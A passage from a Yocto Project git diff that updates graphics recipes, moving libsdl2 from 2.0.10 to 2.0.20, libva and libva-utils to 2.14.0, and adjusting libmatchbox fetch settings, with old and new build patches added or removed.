SRCREV = "7ad885912efb2131e80914e964d5e635b0d07b40"
PV = "0.3+git${SRCPV}"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig gettext distro_features_check
+inherit autotools pkgconfig gettext features_check
# The libxtst requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb b/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
index ce45e48147..b01b332a55 100644
--- a/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
+++ b/meta/recipes-graphics/libmatchbox/libmatchbox_1.12.bb
@@ -1,9 +1,13 @@
SUMMARY = "Matchbox window manager core library"
+DESCRIPTION = "Matchbox is an Open Source base environment for the X Window \
+System running on non-desktop embedded platforms such as handhelds, set-top \
+boxes, kiosks and anything else for which screen space, input mechanisms or \
+system resources are limited."
SECTION = "x11/libs"
HOMEPAGE = "http://matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.com/"
-LICENSE = "LGPLv2+ & MIT"
+LICENSE = "LGPL-2.0-or-later & MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34 \
file://COPYING.MIT;md5=f45ed9332b4f50a35adf2065adde4ca7 \
file://libmb/mbexp.c;endline=20;md5=28c0aef3b23e308464f5dae6a11b0d2f \
@@ -13,11 +17,11 @@ DEPENDS = "virtual/libx11 libxext"
#SRCREV for 1.12
SRCREV = "e846ee434f8e23d9db38af13c523f791495e0e87"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-graphics/libsdl2/libsdl2/0001-Fixed-bug-4538-validate-image-size-when-loading-BMP-.patch b/meta/recipes-graphics/libsdl2/libsdl2/0001-Fixed-bug-4538-validate-image-size-when-loading-BMP-.patch
deleted file mode 100644
index 674decccbb..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2/0001-Fixed-bug-4538-validate-image-size-when-loading-BMP-.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 85138c1ec673e05263ae666baf61f79384daf7e0 Mon Sep 17 00:00:00 2001
-From: Sam Lantinga <slouken@libsdl.org>
-Date: Tue, 30 Jul 2019 11:00:00 -0700
-Subject: [PATCH] Fixed bug 4538 - validate image size when loading BMP files
-
-Upstream-Status: Backport
-[https://hg.libsdl.org/SDL/rev/e7ba650a643a]
-
-CVE: CVE-2019-13616
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- src/video/SDL_bmp.c | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/src/video/SDL_bmp.c b/src/video/SDL_bmp.c
-index 0b68918..a06b0c9 100644
---- a/src/video/SDL_bmp.c
-+++ b/src/video/SDL_bmp.c
-@@ -226,6 +226,11 @@ SDL_LoadBMP_RW(SDL_RWops * src, int freesrc)
- SDL_RWseek(src, (biSize - headerSize), RW_SEEK_CUR);
- }
- }
-+ if (biWidth <= 0 || biHeight == 0) {
-+ SDL_SetError("BMP file with bad dimensions (%dx%d)", biWidth, biHeight);
-+ was_error = SDL_TRUE;
-+ goto done;
-+ }
- if (biHeight < 0) {
- topDown = SDL_TRUE;
- biHeight = -biHeight;
---
-2.7.4
-
diff --git a/meta/recipes-graphics/libsdl2/libsdl2/0001-sdlchecks.cmake-pass-cflags-to-the-appropriate-cmake.patch b/meta/recipes-graphics/libsdl2/libsdl2/0001-sdlchecks.cmake-pass-cflags-to-the-appropriate-cmake.patch
new file mode 100644
index 0000000000..e5d6cda0eb
--- /dev/null
+++ b/meta/recipes-graphics/libsdl2/libsdl2/0001-sdlchecks.cmake-pass-cflags-to-the-appropriate-cmake.patch
@@ -0,0 +1,46 @@
+From dbf0a3f6ea77a1d5f5e3c4dec7a22fcc09a49537 Mon Sep 17 00:00:00 2001
+From: Max Krummenacher <max.krummenacher@toradex.com>
+Date: Mon, 10 Jan 2022 21:52:02 +0000
+Subject: [PATCH] cmake: sdlchecks.cmake: pass cflags to the appropriate cmake
+ variable
+
+If egl.pc sets at least two macros as the i.MX Vivante driver does, e.g.:
+| Cflags: -I${includedir} -DLINUX -DWL_EGL_PLATFORM
+
+then we get the following error during configuration:
+
+| -- Performing Test HAVE_OPENGL_EGL
+| CMake Error: Parse error in command line argument: WL_EGL_PLATFORM
+| Should be: VAR:type=value
+
+If one changes to add a value to the macro, e.g.
+| Cflags: -I${includedir} -DLINUX=1 -DWL_EGL_PLATFORM=1
+then cmake does not error out but the macro is not passed to the
+C compiler.
+
+CMAKE_REQUIRED_FLAGS is the wrong variable to pass the CFLAGS in,
+CMAKE_REQUIRED_DEFINITIONS should be used.
+
+Upstream-Status: Submitted [https://github.com/libsdl-org/SDL/pull/5209]
+Signed-off-by: Max Krummenacher <max.krummenacher@toradex.com>
+---
+ cmake/sdlchecks.cmake | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/cmake/sdlchecks.cmake b/cmake/sdlchecks.cmake
+index 32be19c..f61b8df 100644
+--- a/cmake/sdlchecks.cmake
++++ b/cmake/sdlchecks.cmake
+@@ -808,8 +808,7 @@ endmacro()
+ macro(CheckEGL)
+ if (SDL_OPENGL OR SDL_OPENGLES)
+ pkg_check_modules(EGL egl)
+- string(REPLACE "-D_THREAD_SAFE;" "-D_THREAD_SAFE=1;" EGL_CFLAGS "${EGL_CFLAGS}")
+- set(CMAKE_REQUIRED_FLAGS "${CMAKE_REQUIRED_FLAGS} ${EGL_CFLAGS}")
++ set(CMAKE_REQUIRED_DEFINITIONS "${CMAKE_REQUIRED_DEFINITIONS} ${EGL_CFLAGS}")
+ check_c_source_compiles("
+ #define EGL_API_FB
+ #define MESA_EGL_NO_X11_HEADERS
+--
+2.20.1
+
diff --git a/meta/recipes-graphics/libsdl2/libsdl2/0002-Fixed-bug-4797-SDL-fails-to-compile-with-Mesa-Master.patch b/meta/recipes-graphics/libsdl2/libsdl2/0002-Fixed-bug-4797-SDL-fails-to-compile-with-Mesa-Master.patch
deleted file mode 100644
index 8f5b6a0cef..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2/0002-Fixed-bug-4797-SDL-fails-to-compile-with-Mesa-Master.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-# HG changeset patch
-# User Sylvain Becker <sylvain.becker@gmail.com>
-# Date 1570898876 -7200
-# Sat Oct 12 18:47:56 2019 +0200
-# Node ID 369b01006eb2f6fd563f7c315d29ae3fe503c432
-# Parent 4cbaffd0083b8cd17070dbd9d4ab1ce0fa9fca2d
-Fixed bug 4797 - SDL fails to compile with Mesa Master (thanks Michael Olbrich!)
-
-fix building with Mesa 19.2
-
-With Mesa 19.2 building fails with:
-
-/include/GLES/gl.h:63:25: error: conflicting types for 'GLsizeiptr'
-
-The same type is defined in include/SDL_opengl.h for OpenGL and the two
-headers should not be included at the same time.
-This was just never noticed because the same header guard '__gl_h_' was
-used. This was changed in Mesa. The result is this error.
-
-Fix this the same way GLES2 already handles this: Don't include the GLES
-header when the OpenGL header was already included.
-(https://hg.libsdl.org/SDL/rev/a60b3c292f0f)
-
-Upstream-Status: Backport [https://hg.libsdl.org/SDL/rev/369b01006eb2]
-Signed-off-by: Alistair Francis <alistair.francis@wdc.com>
-
-diff --git a/src/video/SDL_video.c b/src/video/SDL_video.c
---- a/src/video/SDL_video.c
-+++ b/src/video/SDL_video.c
-@@ -37,9 +37,9 @@
- #include "SDL_opengl.h"
- #endif /* SDL_VIDEO_OPENGL */
-
--#if SDL_VIDEO_OPENGL_ES
-+#if SDL_VIDEO_OPENGL_ES && !SDL_VIDEO_OPENGL
- #include "SDL_opengles.h"
--#endif /* SDL_VIDEO_OPENGL_ES */
-+#endif /* SDL_VIDEO_OPENGL_ES && !SDL_VIDEO_OPENGL */
-
- /* GL and GLES2 headers conflict on Linux 32 bits */
- #if SDL_VIDEO_OPENGL_ES2 && !SDL_VIDEO_OPENGL
diff --git a/meta/recipes-graphics/libsdl2/libsdl2/more-gen-depends.patch b/meta/recipes-graphics/libsdl2/libsdl2/more-gen-depends.patch
deleted file mode 100644
index 8ca52ebde7..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2/more-gen-depends.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From e0f4b6d18ce6f025c78773e909b9c395ad833c7a Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Mon, 29 Jul 2019 08:38:32 +0800
-Subject: [PATCH] configure: fix dependencies
-
-Many source files include e.g. wayland-protocols.h which should be found in the
-sysroot but SDL wants to build its own headers from the XML definitions.
-
-However the rules to generate those headers are only dependencies of the
-top-level libSDL2.la object so can be built in parallel with the rest of the
-objects, which can lead to interesting errors if the header is parsed by the
-compiler whilst it's being written by another process:
-
-| gen/wayland-client-protocol.h:3: error: unterminated #ifndef
-| #ifndef WAYLAND_CLIENT_PROTOCOL_H
-
-Solve this by adding more dependencies so the generated files are built before
-the primary objects.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-[Moved to configure.ac]
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 9e782c6..997915a 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -4061,7 +4061,7 @@ DEPENDS=`echo $SOURCES | tr ' ' '\n'`
- for EXT in asm cc m c S; do
- OBJECTS=`echo "$OBJECTS" | sed 's,[[^ ]]*/\([[^ ]]*\)\.'$EXT',$(objects)/\1.lo,g'`
- DEPENDS=`echo "$DEPENDS" | sed "s,^\\([[^ ]]*\\)/\\([[^ ]]*\\)\\.$EXT\\$,\\\\
--\\$(objects)/\\2.lo: \\1/\\2.$EXT \\$(objects)/.created\\\\
-+\\$(objects)/\\2.lo: \\1/\\2.$EXT \\$(objects)/.created \\$(GEN_OBJECTS)\\\\
- \\$(RUN_CMD_CC)\\$(LIBTOOL) --tag=CC --mode=compile \\$(CC) \\$(CFLAGS) \\$(EXTRA_CFLAGS) $DEPENDENCY_TRACKING_OPTIONS -c \\$< -o \\$@,g"`
- done
-
-@@ -4078,14 +4078,14 @@ SDLMAIN_OBJECTS=`echo $SDLMAIN_SOURCES`
- SDLMAIN_DEPENDS=`echo $SDLMAIN_SOURCES`
- SDLMAIN_OBJECTS=`echo "$SDLMAIN_OBJECTS" | sed 's,[[^ ]]*/\([[^ ]]*\)\.c,$(objects)/\1.lo,g'`
- SDLMAIN_DEPENDS=`echo "$SDLMAIN_DEPENDS" | sed "s,\\([[^ ]]*\\)/\\([[^ ]]*\\)\\.c,\\\\
--\\$(objects)/\\2.lo: \\1/\\2.c \\$(objects)/.created\\\\
-+\\$(objects)/\\2.lo: \\1/\\2.c \\$(objects)/.created \\$(GEN_OBJECTS)\\\\
- \\$(RUN_CMD_CC)\\$(LIBTOOL) --tag=CC --mode=compile \\$(CC) \\$(CFLAGS) \\$(EXTRA_CFLAGS) $DEPENDENCY_TRACKING_OPTIONS -c \\$< -o \\$@,g"`
-
- SDLTEST_OBJECTS=`echo $SDLTEST_SOURCES`
- SDLTEST_DEPENDS=`echo $SDLTEST_SOURCES`
- SDLTEST_OBJECTS=`echo "$SDLTEST_OBJECTS" | sed 's,[[^ ]]*/\([[^ ]]*\)\.c,$(objects)/\1.lo,g'`
- SDLTEST_DEPENDS=`echo "$SDLTEST_DEPENDS" | sed "s,\\([[^ ]]*\\)/\\([[^ ]]*\\)\\.c,\\\\
--\\$(objects)/\\2.lo: \\1/\\2.c \\$(objects)/.created\\\\
-+\\$(objects)/\\2.lo: \\1/\\2.c \\$(objects)/.created \\$(GEN_OBJECTS)\\\\
- \\$(RUN_CMD_CC)\\$(LIBTOOL) --tag=CC --mode=compile \\$(CC) \\$(CFLAGS) \\$(EXTRA_CFLAGS) $DEPENDENCY_TRACKING_OPTIONS -c \\$< -o \\$@,g"`
-
- # Set runtime shared library paths as needed
---
-2.7.4
-
diff --git a/meta/recipes-graphics/libsdl2/libsdl2/optional-libunwind-generic.patch b/meta/recipes-graphics/libsdl2/libsdl2/optional-libunwind-generic.patch
new file mode 100644
index 0000000000..757b99a5f6
--- /dev/null
+++ b/meta/recipes-graphics/libsdl2/libsdl2/optional-libunwind-generic.patch
@@ -0,0 +1,18 @@
+Do not error when libunwind-generic is not found, Not all
+implementations of libunwind will provide this library therefore
+do not make it hard error if its not found.
+
+Upstream-Status: Submitted [https://github.com/libsdl-org/SDL/pull/5194]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -1358,7 +1358,7 @@ elseif(UNIX AND NOT APPLE AND NOT ANDROI
+ if(HAVE_LIBUNWIND_H)
+ # We've already found the header, so REQUIRE the lib to be present
+ pkg_search_module(UNWIND REQUIRED libunwind)
+- pkg_search_module(UNWIND_GENERIC REQUIRED libunwind-generic)
++ pkg_search_module(UNWIND_GENERIC libunwind-generic)
+ list(APPEND EXTRA_LIBS ${UNWIND_LIBRARIES} ${UNWIND_GENERIC_LIBRARIES})
+ endif()
+ endif()
diff --git a/meta/recipes-graphics/libsdl2/libsdl2_2.0.10.bb b/meta/recipes-graphics/libsdl2/libsdl2_2.0.10.bb
deleted file mode 100644
index 862abe1d54..0000000000
--- a/meta/recipes-graphics/libsdl2/libsdl2_2.0.10.bb
+++ /dev/null
@@ -1,76 +0,0 @@
-SUMMARY = "Simple DirectMedia Layer"
-DESCRIPTION = "Simple DirectMedia Layer is a cross-platform multimedia \
-library designed to provide low level access to audio, keyboard, mouse, \
-joystick, 3D hardware via OpenGL, and 2D video framebuffer."
-HOMEPAGE = "http://www.libsdl.org"
-BUGTRACKER = "http://bugzilla.libsdl.org/"
-
-SECTION = "libs"
-
-LICENSE = "Zlib"
-LIC_FILES_CHKSUM = "file://COPYING.txt;md5=504a9454ceb89fd75a2583473b11409e"
-
-PROVIDES = "virtual/libsdl2"
-
-SRC_URI = "http://www.libsdl.org/release/SDL2-${PV}.tar.gz \
- file://more-gen-depends.patch \
- file://0001-Fixed-bug-4538-validate-image-size-when-loading-BMP-.patch \
- file://0002-Fixed-bug-4797-SDL-fails-to-compile-with-Mesa-Master.patch \
-"
-
-S = "${WORKDIR}/SDL2-${PV}"
-
-SRC_URI[md5sum] = "5a2114f2a6f348bdab5bf52b994811db"
-SRC_URI[sha256sum] = "b4656c13a1f0d0023ae2f4a9cf08ec92fffb464e0f24238337784159b8b91d57"
-
-inherit autotools lib_package binconfig-disabled pkgconfig
-
-BINCONFIG = "${bindir}/sdl2-config"
-
-CVE_PRODUCT = "simple_directmedia_layer sdl"
-
-EXTRA_OECONF = "--disable-oss --disable-esd --disable-arts \
- --disable-diskaudio --disable-nas --disable-esd-shared --disable-esdtest \
- --disable-video-dummy \
- --enable-pthreads \
- --enable-sdl-dlopen \
- --disable-rpath \
- --disable-sndio \
- "
-
-# opengl packageconfig factored out to make it easy for distros
-# and BSP layers to pick either (desktop) opengl, gles2, or no GL
-PACKAGECONFIG_GL ?= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl', d)}"
-
-PACKAGECONFIG_class-native = "x11"
-PACKAGECONFIG_class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
-PACKAGECONFIG ??= " \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa directfb pulseaudio x11', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland gles2', '', d)} \
-"
-PACKAGECONFIG[alsa] = "--enable-alsa --disable-alsatest,--disable-alsa,alsa-lib,"
-PACKAGECONFIG[directfb] = "--enable-video-directfb,--disable-video-directfb,directfb"
-PACKAGECONFIG[gles2] = "--enable-video-opengles,--disable-video-opengles,virtual/libgles2"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
-PACKAGECONFIG[kmsdrm] = "--enable-video-kmsdrm,--disable-video-kmsdrm,libdrm virtual/libgbm"
-PACKAGECONFIG[opengl] = "--enable-video-opengl,--disable-video-opengl,virtual/libgl"
-PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
-PACKAGECONFIG[tslib] = "--enable-input-tslib,--disable-input-tslib,tslib"
-PACKAGECONFIG[wayland] = "--enable-video-wayland,--disable-video-wayland,wayland-native wayland wayland-protocols libxkbcommon"
-PACKAGECONFIG[x11] = "--enable-video-x11,--disable-video-x11,virtual/libx11 libxext libxrandr libxrender"
-
-EXTRA_AUTORECONF += "--include=acinclude --exclude=autoheader"
-
-do_configure_prepend() {
- # Remove old libtool macros.
- MACROS="libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4"
- for i in ${MACROS}; do
- rm -f ${S}/acinclude/$i
- done
- export SYSROOT=$PKG_CONFIG_SYSROOT_DIR
-}
-
-FILES_${PN}-dev += "${libdir}/cmake"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/libsdl2/libsdl2_2.0.20.bb b/meta/recipes-graphics/libsdl2/libsdl2_2.0.20.bb
new file mode 100644
index 0000000000..90724ab8b7
--- /dev/null
+++ b/meta/recipes-graphics/libsdl2/libsdl2_2.0.20.bb
@@ -0,0 +1,77 @@
+SUMMARY = "Simple DirectMedia Layer"
+DESCRIPTION = "Simple DirectMedia Layer is a cross-platform multimedia \
+library designed to provide low level access to audio, keyboard, mouse, \
+joystick, 3D hardware via OpenGL, and 2D video framebuffer."
+HOMEPAGE = "http://www.libsdl.org"
+BUGTRACKER = "http://bugzilla.libsdl.org/"
+
+SECTION = "libs"
+
+LICENSE = "Zlib"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=68a088513da90254b2fbe664f42af315"
+
+# arm-neon adds MIT license
+LICENSE:append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', '& MIT', '', d)}"
+LIC_FILES_CHKSUM:append = " ${@bb.utils.contains('PACKAGECONFIG', 'arm-neon', 'file://src/video/arm/pixman-arm-neon-asm.h;md5=9a9cc1e51abbf1da58f4d9528ec9d49b;beginline=1;endline=24', '', d)}"
+
+PROVIDES = "virtual/libsdl2"
+
+SRC_URI = "http://www.libsdl.org/release/SDL2-${PV}.tar.gz \
+ file://optional-libunwind-generic.patch \
+ file://0001-sdlchecks.cmake-pass-cflags-to-the-appropriate-cmake.patch \
+ "
+
+S = "${WORKDIR}/SDL2-${PV}"
+
+SRC_URI[sha256sum] = "c56aba1d7b5b0e7e999e4a7698c70b63a3394ff9704b5f6e1c57e0c16f04dd06"
+
+inherit cmake lib_package binconfig-disabled pkgconfig
+
+BINCONFIG = "${bindir}/sdl2-config"
+
+CVE_PRODUCT = "simple_directmedia_layer sdl"
+
+EXTRA_OECMAKE = "-DSDL_OSS=OFF -DSDL_ESD=OFF -DSDL_ARTS=OFF \
+ -DSDL_DISKAUDIO=OFF -DSDL_NAS=OFF -DSDL_ESD_SHARED=OFF \
+ -DSDL_DUMMYVIDEO=OFF \
+ -DSDL_RPI=OFF \
+ -DSDL_PTHREADS=ON \
+ -DSDL_RPATH=OFF \
+ -DSDL_SNDIO=OFF \
+ -DSDL_X11_XVM=OFF \
+ -DSDL_X11_XCURSOR=OFF \
+ -DSDL_X11_XINERAMA=OFF \
+ -DSDL_X11_XDBE=OFF \
+ -DSDL_X11_XFIXES=OFF \
+ -DSDL_X11_XINPUT=OFF \
+ -DSDL_X11_XRANDR=OFF \
+ -DSDL_X11_XSCRNSAVER=OFF \
+ -DSDL_X11_XSHAPE=OFF \
+"
+
+# opengl packageconfig factored out to make it easy for distros
+# and BSP layers to pick either (desktop) opengl, gles2, or no GL
+PACKAGECONFIG_GL ?= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl', d)}"
+
+PACKAGECONFIG:class-native = "x11 ${PACKAGECONFIG_GL}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} ${PACKAGECONFIG_GL}"
+PACKAGECONFIG ??= " \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa directfb pulseaudio x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland gles2', '', d)} \
+ ${@bb.utils.contains("TUNE_FEATURES", "neon","arm-neon","",d)} \
+"
+PACKAGECONFIG[alsa] = "-DSDL_ALSA=ON,-DSDL_ALSA=OFF,alsa-lib,"
+PACKAGECONFIG[arm-neon] = "-DSDL_ARMNEON=ON,-DSDL_ARMNEON=OFF"
+PACKAGECONFIG[directfb] = "-DSDL_DIRECTFB=ON,-DSDL_DIRECTFB=OFF,directfb,directfb"
+PACKAGECONFIG[gles2] = "-DSDL_OPENGLES=ON,-DSDL_OPENGLES=OFF,virtual/libgles2"
+PACKAGECONFIG[jack] = "-DSDL_JACK=ON,-DSDL_JACK=OFF,jack"
+PACKAGECONFIG[kmsdrm] = "-DSDL_KMSDRM=ON,-DSDL_KMSDRM=OFF,libdrm virtual/libgbm"
+PACKAGECONFIG[opengl] = "-DSDL_OPENGL=ON,-DSDL_OPENGL=OFF,virtual/libgl"
+PACKAGECONFIG[pulseaudio] = "-DSDL_PULSEAUDIO=ON,-DSDL_PULSEAUDIO=OFF,pulseaudio"
+PACKAGECONFIG[wayland] = "-DSDL_WAYLAND=ON,-DSDL_WAYLAND=OFF,wayland-native wayland wayland-protocols libxkbcommon"
+PACKAGECONFIG[x11] = "-DSDL_X11=ON,-DSDL_X11=OFF,virtual/libx11 libxext libxrandr libxrender"
+
+CFLAGS:append:class-native = " -DNO_SHARED_MEMORY"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/libva/libva-initial_2.14.0.bb b/meta/recipes-graphics/libva/libva-initial_2.14.0.bb
new file mode 100644
index 0000000000..453096822f
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva-initial_2.14.0.bb
@@ -0,0 +1,8 @@
+require libva.inc
+
+PACKAGECONFIG ?= ""
+
+do_install:append () {
+ rm -f ${D}${libdir}/*.so*
+}
+
diff --git a/meta/recipes-graphics/libva/libva-utils/0001-Build-sfcsample-only-when-X11-backend-is-enabled.patch b/meta/recipes-graphics/libva/libva-utils/0001-Build-sfcsample-only-when-X11-backend-is-enabled.patch
deleted file mode 100644
index 01fb71913b..0000000000
--- a/meta/recipes-graphics/libva/libva-utils/0001-Build-sfcsample-only-when-X11-backend-is-enabled.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 8fc14e4bc81885b80c3072e549c2e6f59533d7ef Mon Sep 17 00:00:00 2001
-From: Anuj Mittal <anuj.mittal@intel.com>
-Date: Fri, 8 Feb 2019 11:45:55 +0800
-Subject: [PATCH] Build sfcsample only when X11 backend is enabled
-
-See: https://github.com/intel/libva-utils/pull/149, and
-https://github.com/intel/libva-utils/issues/150
-
-Upstream-Status: Submitted
-
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- Makefile.am | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/Makefile.am b/Makefile.am
-index d28175a..e294e25 100644
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -24,10 +24,11 @@ ACLOCAL_AMFLAGS = -I m4 ${ACLOCAL_FLAGS}
-
- AUTOMAKE_OPTIONS = foreign
-
--SUBDIRS = common decode encode vainfo videoprocess vendor/intel vendor/intel/sfcsample
-+SUBDIRS = common decode encode vainfo videoprocess vendor/intel
-
- if USE_X11
- SUBDIRS += putsurface
-+SUBDIRS += vendor/intel/sfcsample
- else
- if USE_WAYLAND
- SUBDIRS += putsurface
---
-2.17.1
-
diff --git a/meta/recipes-graphics/libva/libva-utils_2.14.0.bb b/meta/recipes-graphics/libva/libva-utils_2.14.0.bb
new file mode 100644
index 0000000000..b816b5e96d
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva-utils_2.14.0.bb
@@ -0,0 +1,32 @@
+SUMMARY = "libva-utils is a collection of utilities from libva project"
+
+DESCRIPTION = "libva-utils is a collection of utilities \
+and examples to exercise VA-API in accordance with the libva \
+project.VA-API is an open-source library and API specification, \
+which provides access to graphics hardware acceleration capabilities \
+for video processing. It consists of a main library and driver-specific \
+acceleration backends for each supported hardware vendor"
+
+HOMEPAGE = "https://01.org/linuxmedia/vaapi"
+BUGTRACKER = "https://github.com/intel/libva-utils/issues"
+
+SECTION = "x11"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b148fc8adf19dc9aec17cf9cd29a9a5e"
+
+SRC_URI = "git://github.com/intel/libva-utils.git;branch=v2.14-branch;protocol=https"
+SRCREV = "9cf21686ad9cacef53ee6b3f13c02b830cf0c7a3"
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
+
+DEPENDS = "libva"
+
+inherit meson pkgconfig features_check
+
+# depends on libva which requires opengl
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+PACKAGECONFIG[x11] = "-Dx11=true, -Dx11=false,virtual/libx11 libxext libxfixes"
+PACKAGECONFIG[wayland] = "-Dwayland=true, -Dwayland=false,wayland-native wayland"
diff --git a/meta/recipes-graphics/libva/libva-utils_2.5.0.bb b/meta/recipes-graphics/libva/libva-utils_2.5.0.bb
deleted file mode 100644
index fc013d75c3..0000000000
--- a/meta/recipes-graphics/libva/libva-utils_2.5.0.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "libva-utils is a collection of utilities from libva project"
-
-DESCRIPTION = "libva-utils is a collection of utilities \
-and examples to exercise VA-API in accordance with the libva \
-project.VA-API is an open-source library and API specification, \
-which provides access to graphics hardware acceleration capabilities \
-for video processing. It consists of a main library and driver-specific \
-acceleration backends for each supported hardware vendor"
-
-HOMEPAGE = "https://01.org/linuxmedia/vaapi"
-BUGTRACKER = "https://github.com/intel/libva-utils/issues"
-
-SECTION = "x11"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b148fc8adf19dc9aec17cf9cd29a9a5e"
-
-SRC_URI = "https://github.com/intel/${BPN}/releases/download/${PV}/${BP}.tar.bz2 \
- file://0001-Build-sfcsample-only-when-X11-backend-is-enabled.patch \
- "
-
-SRC_URI[md5sum] = "c1fada26c286654859eff33b2562cb79"
-SRC_URI[sha256sum] = "9238c9d5110d60f935683390b8383fdac3507346384cd5f117a23c6db1d72a17"
-
-UPSTREAM_CHECK_URI = "https://github.com/intel/libva-utils/releases"
-
-DEPENDS = "libva"
-
-inherit autotools pkgconfig distro_features_check
-
-# depends on libva which requires opengl
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11 libxext libxfixes"
-PACKAGECONFIG[wayland] = "--enable-wayland,--disable-wayland,wayland-native wayland"
diff --git a/meta/recipes-graphics/libva/libva.inc b/meta/recipes-graphics/libva/libva.inc
new file mode 100644
index 0000000000..148bb03b5f
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva.inc
@@ -0,0 +1,37 @@
+SUMMARY = "Video Acceleration (VA) API for Linux"
+DESCRIPTION = "Video Acceleration API (VA API) is a library (libVA) \
+and API specification which enables and provides access to graphics \
+hardware (GPU) acceleration for video processing on Linux and UNIX \
+based operating systems. Accelerated processing includes video \
+decoding, video encoding, subpicture blending and rendering. The \
+specification was originally designed by Intel for its GMA (Graphics \
+Media Accelerator) series of GPU hardware, the API is however not \
+limited to GPUs or Intel specific hardware, as other hardware and \
+manufacturers can also freely use this API for hardware accelerated \
+video decoding."
+
+HOMEPAGE = "https://01.org/linuxmedia/vaapi"
+BUGTRACKER = "https://github.com/intel/libva/issues"
+
+SECTION = "x11"
+LICENSE = "MIT"
+
+SRC_URI = "https://github.com/intel/libva/releases/download/${PV}/libva-${PV}.tar.bz2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2e48940f94acb0af582e5ef03537800f"
+SRC_URI[sha256sum] = "511e9a74d1ccfb548bc192290603082c11074ac59b17aadfd5d56a3f93e58454"
+
+S = "${WORKDIR}/libva-${PV}"
+
+UPSTREAM_CHECK_URI = "https://github.com/intel/libva/releases"
+
+DEPENDS = "libdrm"
+
+inherit meson pkgconfig
+
+PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxext libxfixes"
+PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/mesa"
+
+PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-graphics/libva/libva_2.14.0.bb b/meta/recipes-graphics/libva/libva_2.14.0.bb
new file mode 100644
index 0000000000..63dc5af8f2
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva_2.14.0.bb
@@ -0,0 +1,15 @@
+require libva.inc
+
+PACKAGECONFIG ??= " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', '', d)} \
